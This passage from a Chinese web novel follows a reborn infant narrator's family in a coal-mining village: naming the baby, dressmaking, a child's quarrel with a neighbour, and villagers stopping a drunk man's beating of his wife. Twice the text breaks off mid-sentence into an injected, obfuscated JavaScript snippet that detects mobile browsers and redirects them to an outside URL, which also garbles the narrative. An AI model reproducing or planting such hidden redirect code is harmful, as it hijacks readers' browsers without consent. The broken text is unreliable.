“麻烦你了,小郑。” 提着饭食回屋,陆易安连忙拆开包装袋看今天是什么好吃的。 一份豆花饭,一碗羊肉粉,一份猪蹄汤饭。 羊肉粉是陆易安点的,不用喊,她会自己去橱柜旁边拿自己的不锈钢小碗和筷子,让母亲帮忙将粉夹到小碗里。 雨势见大之际,陆平回来了。 头发还没完全被淋湿,刘秀珍拿来干帕子给他擦头发。 “怎么样?交了多少?” “三千五。” “三千五?”刘秀珍心里差点被薅空了。 之前不还说最多两千吗? 陆平说:“计生办的人偷偷跟我说这还是念在我们家二胎是女儿,提前交了保证金的份上,而且搁了快三年才生的二胎,要是儿子,至少五千。” 刘秀珍心里有点底,当初孩子月份大了,还是托安老太的关系才能交保证金,保证二女儿能生下来。今天去缴罚款,其实罚多罚少,还不是人家一句话的事。 大女儿天天往诊所跑,路上逢人就说妈妈给自己捡了个小妹妹。想躲也躲不掉,还不如一次性全部交清,以后带孩子出门都是光明正大的。 “不说了。”陆平擦干净头发,坐在餐桌旁,准备吃饭,看妻子闷闷不乐的,笑着逗她:“我刚才打了个电话回家,跟爸聊了一会儿,你猜他给我们二女儿娶了什么名字?” “什么?” 陆平笑了半天,“叫陆平秀,他说我们两个的名字各拿出一个字来凑,刚好。” “听起来一把年纪的,都快赶上我了。”刘秀珍也跟着笑了。 陆易宁躺在一旁,默默感谢母亲大人取名字的水平,每次在生育之前就定好了女儿的名字。要依外公来说,她姐这会应该叫陆仙秀。 陆易安嗦粉嗦得津津有味,刘秀珍恍然间想起来,“之前我带安安回去,他给孩子取了个名字,叫什么来着?” 陆平差点笑喷,“叫陆仙秀,比妈年纪都大。” “我刚才和哥打电话,哥说爸这段时间好多了,一天能吃一碗饭,还能坐起来跟他们摆会龙门阵。哥还说过几天想和刘林一起坐车来我们家,看一下你。” “来什么,明天打电话回去让他们不要来了。”刘秀珍挑了两块比较瘦的肉放进陆易安的小碗里,“爸刚好,大嫂又生着病,不能太累,哥哪里走得开。刘林他家还有个小的没出生,来这干嘛。” 陆易安吃得嘴边全是油汤,听见舅舅说要来家里,眼睛睁得大大的,“爸爸,是小舅舅跟大舅舅要来我们家吗?那佳佳姐姐也会来吗?” “不来。”刘秀珍一盆冷水抛过去。 外公病得很严重,陆易宁清楚地记得,母亲再次见到外公时,他已经是弥留之际。 那时,自己半岁。母亲忙着赶回去,没带上自己,外公临终之际都在说可惜没见到他的外孙女。 这件事一直是母亲的遗憾,日后每次谈起,都只是一个劲的叹气。 上一世,她做得唯一成功的事便是弥补了母亲的遗憾。这一世,该做的也要做。 * 煤矿上的生活日复一日。 除了照顾孩子和丈夫的生活起居外,刘秀珍一有空就给女儿做裙子。她的手艺好,村里年纪轻的女人时常会拿一些花样子,来给她照着做裙子。 赵倩人年轻,人瘦得高挑,皮肤又白,穿什么都好看,活脱脱的衣架子。就是因为她曾经穿着刘秀珍做的一身碎花长裙出去逛街,村里的女人看见了,个个来要链接,就此打开了刘秀珍特有的生财之道。 平日里,一闲下来,赵倩和刘秀珍总爱凑一起,坐在家门口,两张长木凳摆一块,上面放个装满线头布料的大竹筛。赵倩负责裁剪各个形状的布料,穿各种颜色的针线,刘秀珍负责缝制。 生孩子之前,接的一个单子还差袖子没做,休息了一个多月,刘秀珍打算今天一天就完工。 刘秀珍手上的线一拉,宽大的袖口缩小,形成了一个泡泡袖。 赵倩捂着嘴笑,“姐,菊萍大姐定的这身裙子,袖子怎么这么大呢?袖子跟个大灯笼一样,腰还特别细。” “她说她在电视上,看人家香港人穿的裙子,很多这种,就连结婚,袖子都是这样的。” “我欣赏不来。”赵倩摇头,“这穿身上,壮得要命,也就只有菊萍大姐有闲钱来做这种裙子。” 刘秀珍剪掉线头,摆好裙子,“不一定啊,我看电视上的人穿着也很好看。” “妈妈,我也想要这样的裙子。”陆易安从陈菊萍家里跑出来,乖乖站在竹筛旁边。 赵倩开玩笑说:“这袖子都比你头大了,安安穿身上,不怕别人说你有三个头啊?” 陆易安自信地说:“我才不怕,谁敢说我,我骂谁。” “咦,会骂人太值得骄傲得很呐!”刘秀珍说:“你身上的裙子我才给你做了多久,过段时间再说。” “妈妈,我想吃酱油拌饭。”得不到新裙子,那就换个别的要求,这段时间天天吃外面的菜,陆易安快吃腻了,难得昨天刘秀珍煮了一碗面条给她吃,就宛如人间美味。 不说还好,刘秀珍拍了脑门一巴掌,本来今早去提水的时候就要去周秀芬家买点酱油回来,正好过几天,孩子满月宴用。结果跟安老太太在路上聊天,给聊忘了。 生完孩子,总是不记事。 刘秀珍回屋,拿了一个装着裙子的塑料袋交给陆易安,并从兜里拿出钱给她,“家里没酱油了,给你两块五,你去陈大伯家买一小瓶来。你买来,我晚饭做酱油拌饭给你吃。你到他家的时候,顺便把这身裙子拿去给你秀芬伯娘。” “陈大伯家没有两块五的酱油。” 两块五,没有一点油水,陆易安嘟囔着嘴拒绝。 杂货铺里的价格刘秀珍了熟于心,小家伙就是要跑路费,刘秀珍又多给了她一块,“这下行了吧。不过你得给我拿水壶去路口接水,在那守着,等它接满了,来喊我去提。” “好!” 陆易安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438364|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑回房间,提上大水壶,噼里啪啦的,跑得带风。 “小安安的这身裙子真好看,纱裙面前还贴得亮晶晶的。”赵倩唉了一声,“要是我家那小子是女儿的话,我也要拜托你给她做几身。” 刘秀珍翻了个白眼,“又开始炫耀了,你不想要儿子,别人家还想呢。” “我是说真的。”赵倩撑着下巴,坐在太阳底下,气蔫蔫的,“女儿多好啊!” 被说到心坎上,刘秀珍心里的闷气渐散,“这胎不是儿子,说实话,刚开始那几天心里还有点堵得慌,但是后来一想,我给陆安安做了那么多漂亮的小衣裳,要是全压箱底,多可惜啊!正好来个女儿。” 陆易宁躺在床上,被两人的谈话吵醒。 她知道母亲年轻时一直很想生儿子,嘴上说是儿女双全凑个“好”,实际上是因为爷爷奶奶一家。 接受不到好的教育,看不见外面的社会,被困于爷爷奶奶讨伐声下的她,不过是想通过生儿子来争口气。 父亲有一个姐姐,一个哥哥。 大伯是长子,从出生就夺走了父母所有的关爱。在爷爷奶奶眼里,大伯是长子,能传宗接代。女儿是给别人家养的人丁,好歹能换点钱。所以父亲稍微幸运一点,成了家里一个可有可无的存在。 因为头胎是女儿,大伯家已经有了两个儿子,重男轻女思想严重的爷爷奶奶本来就偏心大伯一家,这下更有理由践踏母亲和父亲。 家里的土地分的少不说,还被挤兑到这里来挖煤。 以后只会更严重,因为妹妹的出生,大伯和两个老人将用断绝关系来威逼父亲离婚再娶。 上一世,父亲遇难,妹妹没有机会来到世上。大伯大伯母还有爷爷奶奶直接将母亲扫地出门,没几年又打着为孩子好的借口来给母亲介绍男人。 而自己,除了和他们吵架,什么都做不了。 陆易宁越想越气,好在受尽白眼,父母依旧很爱她们。 赵倩说:“我看你家小胖女长大后,她姐的衣服她应该穿不得。” “那重新做呗。” 屋里的孩子睡醒了,赵倩眼皮一沉,又要进屋哄孩子,心真累。 孩子哭得大声,赵倩抱出来,听刘秀珍的话,站着轻轻地晃动,“好了好了,大儿子你再哭,妈就要哭了。你倒是学一学人家陆七七啊!”哄完又羡慕道:“姐,你家七七真是个福娃,打雷下雨都不听见哭的。听说,只是出生那几天哭了,还只哭了两次。” “她真的是个福娃。”刘秀珍起身,走到门口一看,陆易宁早就醒了,不过是躺在小床上,盯着屋顶看,“你看她现在醒了,哭也不哭。” “我之前还以为她会不会生了什么病,带去大医院查,医生又说健康得很。” 哇的一声,刺得耳朵疼,赵倩皱着眉头,“刚才才喂过奶啊,又没有尿尿,这孩子还哭得这么大声。姐,我真的好羡慕你啊!” 陆易宁听着也心烦。 郑煦这家伙的嗓门一直很大,也只有陆易安被母亲打哭了,哭声才能镇得住他。 “还没取名字吗?”刘秀珍回去坐下。 “还没。”赵倩一边哄娃一边说:“他爸取了两个名字,一个叫郑成功,一个叫郑继光。” “郑成功?”刘秀珍笑道:“怎么不叫郑胜利呢?” 赵倩:“郑松说书里有个将军叫郑成功,打日本鬼子打得可凶了。” 陆易宁思考着:打日本鬼子的应该叫戚继光,好像□□的叫郑成功。 刘秀珍一直在笑:“还打上日本鬼子了。” “不过我今天早上去接了个电话,我爸请人取了一个,叫郑煦。说什么能给身边人带来温暖的意思,像太阳一样,我也不太懂,我觉得挺好听的。” “这个还可以诶。”刘秀珍说。 陆易宁:以后郑煦长大,的确会给身边人带来温暖。就那个浑球样,气得人心火烧热气冒,除了陆易安,谁都镇不住,可不是会给人带来温暖。 赵倩在门口走来走去,孩子的哭声终于小了一点,“我之前还怕要等到七月半的那天才生,到时候老鬼送来的小鬼闹腾不好管。现在看来,也是个吵死人的家伙。” “要我说,谁送来的都不好用。”刘秀珍说:“你看我家陆安安,八月份出生的,照样调皮捣蛋得很。” 7. 第七章 跑腿买个酱油,居然还多赚了一块的零花钱! 陆易安心里美滋滋的,想到待会儿又能去买甜水喝,忍不住在杂货铺里扭起了小屁股。 “安安,提好酱油哦,别摔倒了。”陈文才特意用两个塑料袋装好酱油,递给陆易安,生怕这小丫头手滑。 陆易安一个转身,蹦蹦跳跳地去接酱油,笑嘻嘻地喊:“谢谢大伯!” 陈文才看她那副得意样儿,忍不住摇头晃脑地捏了捏她的小脸蛋,“不客气,小机灵鬼。” 就在这时,杂货铺里屋走出一个女人,身穿米白色的过膝坎肩长裙,脚踩棕色高跟凉皮鞋,头发散开,走起路来裙摆飘飘。她转着圈走到陆易安身边,裙身上的红牡丹随着她的动作摇曳生姿。 女人朝橱窗边的男人扬了扬下巴,得意地问:“好看吗?我去秀珍那儿新做的裙子。” “一朵朵大红花,好看什么?”陈文才一脸嫌弃,撇了撇嘴,“胳膊露在外面,锁骨也露,你怎么不把胸也给露出来?” “你懂个屁!”周秀芬翻了个白眼,懒得搭理他,“这身裙子在市里少说也得四五十块,你这种土包子哪懂时尚?” 陆易安笑嘻嘻地拍手,眼睛亮晶晶的,“伯娘真好看,身上跟开了花一样,好漂漂啊!” 周秀芬一听,笑得更加灿烂了,又转了两个圈,顺手把陆易安手里的酱油接过来,“酱油我给你拿回家吧,你这小胳膊小腿的,别摔了。” “谢谢伯娘!”陆易安甜甜地道谢。 “你干嘛去啊?”陈文才盯着她看,虽然嘴上嫌弃,但眼神却忍不住在她身上多停留了几秒。说实话,她穿这身裙子确实挺漂亮的。 “我穿着去秀珍家,让她们也看看。”周秀芬踩着节拍,像只花蝴蝶一样跳出门去。陆易安也有样学样,跟着她往外跳。 跳到路口,陆易安直接拐了个弯,跑去安老太的零食铺买甜水。买完甜水,她又回到路口,拧开水龙头接水到水壶里。 李凤仙家距离接水的地方不过十来米,老太太平时不去别人家唠嗑的时候,就坐在门口的阴凉地里,看见有谁从路口经过,总要说两句闲话。 水壶里的水快满了,陆易安只顾着喝甜水,老太太立马咋呼起来,“水都满出来了,还只顾着喝。哎哟,真的是有钱人家的姑娘,一来水就浪费,等浪费完,停了水,别人家想接都接不了。” 陆易安回头看了老太婆一眼,虽然听不太懂她在说什么,但语气里那股子阴阳怪气,她可是听得明明白白。 陆易安关掉水龙头,瞪了她一眼,接着将水壶拉离水龙头底下。 水壶里的水从壶口漫出来,老太婆一看,像是要了她老命一般,凶巴巴地骂道:“你看你,提不动还接那么多,村里的水是专门让你家用的啊?” 这下,陆易安可不忍了。 “啊!!!老变婆要吃小孩啦!”陆易安发出一声尖锐的爆鸣,声音大得连安老太在铺子里都听见了。 安老太立马出门看,她也讨厌住在路口的李仙凤那张嘴,不说一二就替陆易安骂回去,“死老奶,人家两岁小孩,你跟她吵什么?你那张嘴不停下来积点德啊?” “关你球事?我看不惯她浪费水,她爹妈没教好,我不能说会吗?” “老变婆!死老太婆!”陆易安的嘴也不闲着,在安奶奶对抗的时候,她也在疯狂输出。 没一会儿,吵架已经上升到问候对方爹妈,下至子子孙孙的性命,怎么脏怎么来。 路过的带着儿女的女人听到,也插进来指出李老太的不是。 “不是我说,李凤仙,人家孩子接个水,就是拉水的时候漫出来一点,你至于上纲上线地骂吗?要我说,也是这附近的地太少,你要是太闲的话,直接代替牛去地里犁地,累了也就消停了。” 女人叫张桂花,丈夫也是煤矿上的工人,有点事回娘家呆了一段时间,回来时顺带把儿女带着。 “你又来插什么*话?老子说什么要求你管?”老太婆一边跺脚一边指着女人骂,“你男人打你怎么不把你嘴巴打烂,才从外面躲回来就想吵架,信不信老子咒你今天晚上就被你男人打死球!” 被戳到痛处,张桂花迟迟发不出回怼的声音。 两个孩子跟傻愣子似的,就呆呆地站着。 “老巫婆,烂嘴巴,你不怕你孙子烂*巴!”陆易安的脏话脱口而出。她生活在煤矿上,每次去接陆平下班,很难避免听各种男人脏话乱飞,有的没的都学。但是被刘秀珍打过一次,脏话不轻易说出口。 张桂花被陆易安说出的脏话引了注意,陆易安说完立马捂住嘴。 “哎哟,刘秀珍真会教孩子啊!真会教!”老太婆破口大骂。 “做人这么遭人恨,你会遭报应的!”安老太太也在门口骂。 骂战直到一个年长的老人出面,才勉强被终结。 “桂花阿姨!”陆易安可怜巴巴地请求张桂花“你能不能不要告诉我妈妈我刚才说过的话?我妈妈知道会打我的。” 张桂花答应她,“好,我不说。” 想到刘秀珍还没出月子,张桂花干脆帮陆易安将水壶提回去。 得到保证,别人还帮她提水,陆易安大方地把自己剩下半瓶的甜水分给张桂花的一双儿女喝。 王水生和王水珠两兄妹一个多月前就被送到外婆家里,村里的孩子大多都去上小学了,陆易安不喜欢和李老太的孙子玩,平日里的玩伴数王家的两个孩子跟她玩得最好。 许久不见,一见面陆易安就迫不及待向两个孩子炫耀,“水生哥哥,水珠姐姐,我跟你们说,我妈妈给我捡了个妹妹。” “真的吗?”陆水珠连忙问。 张桂花心头一紧,连忙出口制止,“安安,这种话不能当外人的面随便乱说。” 陆易安天真地回道:“妈妈说可以说的。” “水珠姐姐,我妹妹可小了,比狗狗还小,我可以允许你们去我家看。”许久不见小伙伴,陆易安跟个话痨子一样,扯着王水珠的手说个不停,“我还以为你们都不回来了。我妈妈都不让我去你家门口等你们。不过我有妹妹,我妹妹长得好好看,跟肉嘎嘎一样,软乎乎的,香得很,你们看见也会喜欢的。” 王水珠不过比陆易安大了一岁多,听了陆易安的话,两个小孩恨不得立马冲回家去看妹妹。 王水生懂了点事,没想着和陆易安说说笑笑,转头看了母亲一眼。 张桂花手里提着水壶,走路时眼睛里浸着泪。 她额头上的淤青才消下去没几天,自己和妹妹被外公外婆驱赶,她没办法,又只能回到这个地方。 今天晚上,父亲下班回来要是看见他们,又会怎么发狂啊! 张桂花帮忙将水壶提到陆家,刘秀珍和赵倩看她带着儿女回来,并不怎么惊讶。 躲回家又被赶出来在几娘母的的身上上演了不知多少次,只不过这次稍微久了一点。 “哎哟,桂花姐,麻烦你了。”刘秀珍急忙起身去接水壶。 张桂花将手心的水渍擦干净,往几个孩子的方向看了几眼,“顺路,正好给你提回来,毕竟你应该还没出月子嘛。” “刚才听到路口有人在吵架,声音好像是李凤仙的。”赵倩伸长脖子问:“谁又惹到那个老奶了?” “是我和安大妈跟她拌了拌嘴。你也知道,那个老家伙看见一条狗从她家门口过都要说一些有的没的。” 张桂花并没有把陆易安扯出来。 陆平刘秀珍人老实,嘴巴不厉害,知道女儿被老太太针对,估计也回怼不出什么花来。 陆易安忙不迭地领着两个孩子回屋看妹妹。张桂花跟着几个孩子,去屋里看完陆易宁,又去郑家看郑煦。 * 太阳还没落山,但是家门口已经变得阴凉了。陆平买的婴儿床底下有四个轮子,可以被到处推着走。 每天傍晚,陆易安都会推陆易宁出门看夕阳,今天也不例外。 不过,今天看不到完整的天空。 左看右看都是陆易安,王水珠和王水生的脸。 陆易安抱着双臂,十分得意,“你看,我就说我妹妹好看吧?” 有点审美力的王水珠盯着婴儿床里的小肉坨,眼睛小小的,什么都小小的,皮肤也不白,红红的。 王水珠看向王水生,王水生磨了半天,硬是没扯出一个字。 “你们怎么不说话了?我妹妹不漂亮吗?”陆易安又说,“你看她还会动手动脚的,多厉害啊!我妈妈说她以后会长大,会说话,会自己吃饭,比只会吃粑粑的狗聪明多了。” 大部分婴儿前三个月并不怎么漂亮。 陆易宁:你别说了,我知道我自己这会有多丑! “你看,她笑了,多漂亮啊!”陆易安坚定不移地说:“我不管,我妹妹就是最好看的。” 邻居陈菊萍端豆子来家里,路过听见陆易安护犊子的说辞,忍不住道,“安安这孩子真会说话,还护着妹妹呢。” 陆易安连忙求证路过的女人,“嬢嬢,我妹妹就是最好看的是不是?” 陈菊萍迎合道:“是是是,是最可爱的。” 陆易安翘着嘴说:“大人是不会骗人的,小孩子才会。” 陆易宁:你不能代表所有小孩! 陆易安的嘴巴太能说了,以前听父母提起过,她小时候特别聪明,是几姊妹里说话说得最早,最先学会走路的。 当时的陆易宁不以为意,直到上一世重生,她带着记忆遇见了两三岁的陆易安,才真正意识到这家伙的嘴巴的伶俐程度。 她差点以为陆易安跟她一样重开一世,小小年纪会说那么多话。后来经过一系列的试探证明,她的身上没有任何灵异重开的迹象,纯属大脑左半球发育良好,什么鬼话都学。 * 男人们下班回来,陆平回家洗完脸,刘秀珍将碗筷摆放好。她特意交代陆平不要去外面买饭,今天自己做饭。 陆平看见桌上的煮豆子,立马舀了一勺汤倒进碗里泡饭,尝了一口,味道不错,“你今天还煮了豆子啊?” “这是隔壁陈二姐端来的。”刘秀珍说:“你大女儿今天闻到她家煮豆子的香味,故意跑到人家门口,一直说什么’嬢嬢煮的豆米好香,要是用青椒和西红柿炒,就更香了’,说了一圈话逗得二姐一直笑,二姐按照她的说法做完后,就给我们家端了一碗过来。” “唉!”陆平摆出一副要训人的姿势,压着下巴,斜着眼睛看陆易安,“陆安安,我上次是怎么跟你说的,你不是答应我以后不这样了吗?” “爸爸,你刚才不是吃得挺高兴的嘛。”陆易安从母亲的手里接过来来属于自己的不锈钢小碗,摇头晃脑地地挖了一勺饭进嘴巴里,“嬢嬢说她喜欢做饭给我吃。” “我不管,以后不能这样了?”陆平摆着一张脸,刘秀珍坐下来,陆平突然想到了什么,“我们回来路上看见王铁军家的灯亮着,桂花姐回来了?” “对,水生哥哥水珠姐姐也都回家了。”陆易安抢着说。 陆平哦了一声,继续扒饭。 刘秀珍察觉到不对劲,“王铁军今天会回来吗?” “他说今天回家住来着。月底了,他哪有钱出去鬼混。不过,他比我们早下班,临近下班又说要出去搞两口。谁知道他的。” 刘秀珍心里默默咽下一口气,如果王铁军回来,今晚又是一个不平静的夜晚。 王铁军的德行矿上的人都知道,一有点钱就出去赌去找外面的女人,难得回家,一回来就开始打家里的女人。 上次张桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438365|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花才跑回娘家,他就在矿上扬言说只要张桂花还敢回来,他铁定要打死她。 陆易安两个小眼珠子在父母之间来回转,她知道,今天晚上可能要出事。 快速扒完饭,陆易安立马溜了出去。 “大晚上的,你又要去哪玩?”刘秀珍回过神来,小家伙已经跑到门外了。 “我去二嬢嬢家找花梅姐姐玩。” “你花梅姐姐还要做作业,别去烦她。听到没有?” 刘秀珍的叮嘱并没有得到回复。 陆易宁躺在床上,她知道陆易安会去做什么。 如果在街上,一个陌生人被他人欺负,大部分的人会选择漠然置之,假装没看到。但有时候,只要有一个人能喊出声音制止,便会吸引很多人的注意,让路人有正视欺凌的想法。 陆易安在矿上,担任的就是发声人的角色。 饭后刘秀珍在洗碗,陆平在里屋洗澡,陆易宁一直在等陆易安的声音传过来。 十分钟后,陆易安的尖叫声打破宁静的夜晚。 “王铁军又打女人了!” “王铁军又开始打我桂花阿姨啦!桂花阿姨要被打死了啦” “你们快来管管啊,桂花阿姨快被踢死啦!” 陆易安在村里一边跑一边喊。 刘秀珍手上的动作一顿,手上全是洗洁精泡沫,顾不上,立马往衣服上擦,“这陆安安,又开始了!” 刘秀珍再次说出同一句台词,“陆老三,你闺女又跑去王家敲锣打鼓了,快点洗。” 陆平闻声,立马擦干净身上的水珠,用最快的速度穿上衣服。 刘秀珍熟练地拿上门背后的烧火棍,两口子关上门一块冲出家。 经过陆易安的奔走相告,此时,王家门口已经来了不少人。 张桂花被打倒在地上,眼睛挨了一拳,已经开始肿了,灰头土脸的,头上身上全是油豆子和和油汤。 她的两个孩子在一旁一直哭。 王铁军脸蛋子红得跟猴屁股似的,本就不多的头发被揉乱七八糟的,长短不一的胡茬上还沾上了不少口水,被郑松和另外三个个男人拉在屋外,嘴巴里一直在喷粪,“我日你妈的,老表子,又领着这两个厮儿回来搓球,你那么有本事,你怎么不去死啊!” “老王哥,你怎么能这样说呢?”陈菊萍走进屋去拉张桂花,张桂花的脸跟死水一样,除了眼睛里有眼泪淌出来,一动不动的,已经麻木了。 陈菊萍和王水生搭手拉她起来,张桂花的脸上才显出积分痛苦的神色。肚子刚才被踢了几脚,一时半会站不起来,干脆又坐回去。 王水珠一边哭一边去给母亲拿帕子,走到母亲身边帮母亲擦掉身上的豆子。 小半锅豆子,还没开始吃就被王铁军倒在张桂花身上,锅碗瓢盆被摔得到处都是。 “人家当妈的去接孩子回家,又不是什么伤天理的事。”有个男人抱着手说:“要我说,老王哥,你以后真的该少喝点酒啊!” “你管球老子!男人打婆娘,天经地义!”王铁军喝得脸红脖子粗,随时准备冲出来。 此时,到处散播消息的陆易安终于转回了漩涡中心,听见王铁军说了一句王桂花,立马跳出来,“我爸爸说没出息的男人才会打婆娘!” 大人不好明说的话被孩子点出来,几个女人听后,连连点头,“你看,人家陆平的女儿都明白的道理。” “陆平?陆平有个球出息?”王铁军死死地盯着陆易安看。 陆平听到陆易安的声音,听声辨位,赶紧绕了半圈将女儿从人前扯到自己的身边。 “爸爸。”陆易安抱住父亲的大腿。 “你别说话了!”陆平压低声音警告她。 “王哥,你这个脾气真的要改了!”郑松牢牢扣住王铁军的手,“那是桂花姐仁义,不然人家要是去派出所,警察真的会来管你的。” 王铁军喝了两口马尿,谁也不怕,“警察?老子怕球他?老子在堕街玩女人的时候,看见不知道有多少,” “哎哎哎!王铁军,这种事不能乱说哦!”围观的人赶紧起哄,止住王铁军。 王铁军笑得发癫,“你信不信,老子现在就能去揪一个出来。”王铁军朝着屋里的张桂花吐了一口痰,恶狠狠地说:“老子等会儿有事,今天就放你一马,赶紧去路口接水把我这段时间的脏衣服洗了,明天我回来要是看见还是脏的,我要你死!” 所有人同时松了一口气。 郑松几人放开手,任王铁军发酒疯。王铁军挣脱束缚,东倒西歪地往村口走,刚从哪来,又走回哪去。 刘秀珍还有几个女人一块进王家屋里帮忙收拾,赵倩也拿着药膏赶紧过来。 经此一闹,陆易安被陆平抱着回家,一路上,陆易安用小手给陆平擦额头上的汗:“爸爸,桂花阿姨今天再也不会被打了吗?” 陆平理了理女儿乱糟糟的小辫子,嗯了一声,没有说话。 她不会骂女儿,反而觉得女儿比矿上的任何人都勇敢。 以前,张桂花被打,没有人会管,所有人不过是在家里听着她的哭声,听着王铁军的咒骂声,一边吃饭,一边冷漠地说“王家又开始打架了”这种话。 后来,陆易安来到煤矿上,和王家的两个孩子玩得越来越熟,逐渐发现王铁军会不正常地打妻子打孩子。 本就喜欢到处广播到处听八卦的孩子突然就找到了一件好事做。 王铁军再不是人也不敢将暴力的手伸向别人家的孩子。 陆易安更加有恃无恐,每次在王铁军家暴时就到处喊人帮忙,矿上越来越多的人出面,张桂花被家暴的时间也变短了。 这种事陆平已经见怪不怪,张桂花要是能安全,日子能好过,除非王铁军第二天就被埋在煤洞里。 8. 第八章 王铁军并没有被埋在煤洞里,反而因为在派出所门口挑事,自爆嫖、娼,诬陷公职人员,被抓去行政拘留七天。 七天的时间里,他就跟消失了一般,工友不说话,张桂花也没有去找过他,因为他平时也这样不着家。 在煤矿村里生活并不方便,刘秀珍和赵倩怀孕期间,村里人帮了不少忙。 刚好陆平明天上了一星期的夜班后调成明天休息,所以在陆易宁满月当日,陆郑两家打算做一顿好吃的,答谢邻居。 矿上的女人们大多性格随和,虽然凑一块经常扯别人家的闲话,但是真的有事发生,每个人都不闲着,出不了钱,就出力。 本来是陆郑两家的答谢宴,除去下井挖煤的男人,差不多半个村的人都来帮忙。 各家出凳子的出凳子,出地盘的出地盘,借桌子的借桌子,借碗筷的借碗筷。 东拼西凑,居然能摆出十几桌来。 刘秀珍喂了十只肥鸡,生孩子那几日吃了两只,目前还剩八只。今天直接宰了六只,留两只下蛋。 郑家的屋子里家伙什少,主要用来洗菜切菜。陆家的两间屋子被收拾得干干净净,暂时充当会客厅。 陆易宁和郑煦像是吉祥物一样被放在会客中心,每来一个人都会来这里看宝宝。 “小姑娘长得真漂亮,你看鼻子长得真像他爸爸的。” “儿像母,郑松这儿子一点都不像他,眼睛鼻子跟他妈妈一样,就是黑了点。” 类似的话陆易宁听了不知多少遍,旁边的郑煦似乎也听烦了,“哇”的一声,又开始哭。 “啊!!!吵死了!”陆易宁在心里咆哮,她和他挨得近,最先受到冲击。 一个上午,这家伙哭了五次了。 怪不得以后去银行办事总是听不清柜台后面的人说话,就是小时候被郑煦闹得听力变差了。 郑煦被赵倩抱起来哄,陆易宁继续对着来看她的人笑。 “哇,她居然在笑耶,好乖呀!” “不哭也不闹,真招人喜欢。” “肉肉的,穿着小公主裙,更可爱了!” 陆易宁继续微笑,又是引得来看她的人一阵夸。 陆易宁:虽然,但是被人夸就是很值得开心,会说多说,长大了反正是听不着了。 家门口太多人了,陆易安和一群小伙伴在门口玩,你追我打的,刘秀珍喊不动,干脆让她去别的地方。 家里来了这么多人,陆易安猜到了,今天是个好日子。 刘秀珍为了招待人,顾不上她,陆易安直接放飞了。在安老太太回家的间隙,立马跑去零食铺,靠刷脸刷了许多新出的辣条子,各式各样的糖果,五瓶糖水,油面包……还跑了七八百米的路,去大胡子家赊了五屉小笼包,七八个包子。 小孩帮里谁和她好,她给谁分零食吃。靠分发零食,短短一个小时,就成为小孩帮里的王,左右护法就是王家兄妹。 一时之间,在村里风光无限,谁敢惹她,就要接受群众的审判。 在村里逛了半天,帮众扩大到十八名成员。 最后,帮主领着帮众在李凤仙的家门口起势时,两个男人的到来,立马让所有人群龙无首。 只见一个微胖的男人从路口跑来,二话不说就把陆易安提起来。 眼看大姐大被掳走了,小孩帮里的人一时摸不着头脑,除了左右护法,所有人原地解散,反正每个人该领的都领了。 “咦!陆安安,半年不见,你学得越来越社会了啊!”刘林跟拎小鸡仔一样,提着陆易安的衣领。 “放开我!你信不信我告我爸爸!”陆易安悬空挣扎,实在没用,被逼得急了,张口就是脏话,“是哪个杂毛?狗*巴,信不信我咬死你!” 刘林和刘森面面相觑,这疯丫头还是追在他们屁股后面甜甜地喊“舅舅”的小丫头吗? 有时候孩子太聪明了也不好,好的坏的都能学。 “你别弄她了。”刘森说。 刘林将陆易安放下来,“你看看我是谁?还记得我吗?刚才那些话是谁教你说的?” 陆易安盯着这个凶巴巴的男人看了几秒,只觉得有点眼熟。 目光转到刘森身上,这个发际线高,个子也高,脑门大,穿着条纹衬衫的男人她认得。 “小舅舅。”陆易安张大嘴巴,立马跳起来抱着刘森的大腿。 “唉,安安,你还认得我是舅舅呀!”刘森弯下腰将她抱起来。 “他是你大舅舅,我才是你小舅舅。”刘林一边走一边看她。 陆易安仰着头,不好意思地笑了笑,“舅舅,佳佳姐呢?佳佳姐没来吗?” 陆易安对着刘森问她的佳佳姐,刘林说:“我才是你佳佳姐的爸爸。” “那佳佳姐呢?” “你佳佳姐要读书了,需要在家里提前补课学习,来不了。” “妈妈说佳佳姐长大了,是不是变成大个子了?” “对。”刘林说:“比两个陆安安还大。” 陆易安舔了舔嘴唇,“你们给我带外公做的肉卷了吗?我想吃。” 刘林嬉皮笑脸地说:“没有外公做的,有小舅舅做的,要不要啊?” 陆易安点头如捣蒜,“要要要!” 刘秀珍喂完奶,将陆易宁放在木床上,一出门,看见大哥和弟弟来了。大哥还抱着陆易安,一时间,高兴得话都说不出来。 陆易安指着人多的地方,乖巧地说:“舅舅,我家到了,放我下来吧。” “你家就住这啊?”刘林环视周围的房屋,好一点的是砖瓦房,差一点的几乎都是清一色的薄膜和花油布搭的棚子。 “对啊!”陆易安牵着刘森的手,“我带你去找我妈妈。舅舅,我跟你说,我妈妈给我捡了一个妹妹,好看死了。” 陆易安领着二人走到家门口,刘秀珍强忍住,不哭出来,“哥,你们来了。” “你们住在这啊?”刘森探出头往屋里看了几眼。大概三十左右平的两间屋子,看起来还算宽敞。除了泥地板上有不少瓜子壳外,挺干净的。 “对,快进屋。”刘秀珍招呼着。 刘林跳进屋里,左看右看,“姐,我的第二个外甥呢?” “她在里面的那间屋子里睡觉。” “小舅舅,我带你去。”陆易安站出来,绝不放过能向别人炫耀妹妹的机会。 